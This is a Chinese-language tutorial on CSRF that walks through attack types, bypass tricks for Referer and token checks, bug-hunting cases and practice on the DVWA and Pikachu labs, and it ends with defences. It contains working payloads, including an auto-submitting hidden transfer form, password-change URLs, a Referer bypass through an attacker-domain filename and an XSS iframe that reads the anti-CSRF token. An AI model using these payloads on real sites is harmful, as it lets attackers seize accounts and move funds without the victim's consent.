CSRF入门及靶场实战
字数 1530 2025-08-12 11:34:11
CSRF入门及靶场实战教学文档
一、CSRF漏洞概述
1.1 漏洞定义
CSRF(Cross Site Request Forgery,跨站点请求伪造)是一种通过伪装成受信任用户进行攻击的安全漏洞。与XSS不同,CSRF不直接获取用户信息,而是利用用户的登录状态执行非预期的操作。
1.2 漏洞成因
- 主要成因:浏览器cookie不过期,不关闭浏览器或退出登录,都会默认为已登录状态
- 次要成因:对请求合法性验证不严格
1.3 攻击流程示例
- 受害者登录银行网站并存入100元
- 受害者访问恶意链接(如伪装成显卡广告)
- 恶意链接自动提交转账表单
- 受害者资金被转走
1.4 漏洞危害
- 篡改目标网站上的用户数据
- 盗取用户隐私数据
- 作为其他攻击向量的辅助攻击手法
- 传播CSRF蠕虫
二、CSRF攻击类型
2.1 GET型攻击
<a href="http://bank.com/transfer?user=hacker&money=100">杀马特团长的故事</a>
<!-- 或使用隐藏图片 -->
2.2 POST型攻击
<html>
<body>
<form action="http://bank.com/transfer" method="POST">
<input type="hidden" name="money" value="100" />
<input type="hidden" name="user" value="hacker" />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
2.3 常用攻击标签
<a>标签:<a href="http://xxx.com/?user=xx&money=xx"></a>标签:<iframe>标签:<iframe src="http://xxx.com/?user=xx&moeny=xx">
三、CSRF攻击技巧
3.1 短链接伪装
使用短链接服务(如http://ddz.ee/)隐藏真实恶意URL:
<a href="http://ddz.ee/A8PF7">虎哥的东北往事</a>
3.2 请求方法转换
- POST转GET:将POST请求参数转为URL参数
- GET转POST:构造表单提交
3.3 绕过Referer检测
当检测Referer头是否包含服务器域名时:
if(stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false)
绕过方法:构造文件名包含服务器域名,如http://attacker.com/server.com.php
3.4 绕过Token验证
- 删除token参数
- 发送空token
- 使用XSS获取token(需配合XSS漏洞)
- 使用BurpSuite的CSRF Token Tracker插件自动更新token
四、CSRF漏洞挖掘
4.1 挖掘方法
- 关注后台管理功能(如删除文章、添加管理员等)
- 检查关键操作是否缺少CSRF防护
- 使用BurpSuite生成CSRF PoC测试
4.2 实战案例
案例1:xhcms后台删除文章
- 抓取删除文章的请求
- 使用BurpSuite生成CSRF PoC
- 管理员访问恶意页面即执行删除
案例2:beescms添加管理员
- 抓取添加管理员请求
- 构造恶意表单提交
- 管理员访问即添加新管理员
五、靶场实战
5.1 DVWA靶场
Low级别
- 直接构造URL修改密码:
http://victim.com/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
Medium级别
- 检测Referer头,绕过方法:
<a href="http://victim.com/DVWA/vulnerabilities/csrf/server.com.php?password_new=123&password_conf=123&Change=Change#">
High级别
- 使用Anti-CSRF token机制
- 绕过方法:
- 配合XSS获取token:
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>- 使用BurpSuite CSRF Token Tracker插件
5.2 Pikachu靶场
GET型
<a href="http://victim.com/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=test&phonenum=test&add=test&email=test&submit=submit">
POST型
- 抓取修改信息请求
- 使用BurpSuite生成CSRF PoC
Token型
使用CSRF Token Tracker插件自动处理token
六、CSRF防御措施
- 同源检测:禁止外域发起请求
- 使用POST提交:减少GET方式敏感操作
- Token验证:服务端生成随机token验证请求
- 验证Referer头:检查请求来源
- 自定义HTTP头属性:增加额外验证字段
七、总结
CSRF攻击往往需要结合其他漏洞(如XSS)才能发挥最大效果。防御时应采用多层次防护策略,特别是对关键操作实施严格的请求验证机制。